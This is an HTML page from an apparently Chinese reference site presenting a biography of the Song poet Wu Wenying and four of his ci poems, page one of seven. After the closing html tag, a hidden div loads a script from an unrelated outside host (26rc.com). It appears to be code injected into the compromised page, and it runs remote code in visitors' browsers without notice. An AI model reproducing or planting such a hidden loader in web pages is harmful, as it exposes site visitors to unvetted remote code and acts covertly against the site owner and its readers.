<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-吴文英</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>吴文英</strong></span></div>

	<div class="Cont_tit sc">
		<h1>吴文英</h1>
		<span>(1212-1272)字君特，号梦窗，晚年又号觉翁，四明(今浙江鄞县)人。《宋史》无传,一生未第，游幕终身。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>浣溪沙</strong></div><div class="sc_det_cont">门隔花深旧梦游，夕阳无语燕归愁，玉纤香动小帘钩。<br/>落絮无声春堕泪，行云有影月含羞，东风临夜冷于秋。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>浣溪沙</strong></div><div class="sc_det_cont">波面铜花冷不收，玉人垂钓理纤钩，月明池阁夜来秋。<br/>江燕话归成晓别，水花红减似春休，西风梧井叶先愁。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>点绛唇</strong></div><div class="sc_det_cont">试灯夜初晴<br/>卷尽愁云，素娥临夜新梳洗。暗尘不起，酥润凌波地。<br/>辇路重来，仿佛灯前事。情如水，小楼熏被，春梦笙歌里。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>踏莎行</strong></div><div class="sc_det_cont">润玉笼绡，檀樱倚扇，绣圈犹带脂香浅。榴心空叠舞裙红，艾枝应愁鬟乱。<br/>午梦千山,窗阴一箭,香凝瘢新褪红丝腕。隔江人在雨声中，晚风菰叶生秋怨。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>吴文英</span>&nbsp; &nbsp; 宋词翻页： [<a href="13_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/7</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>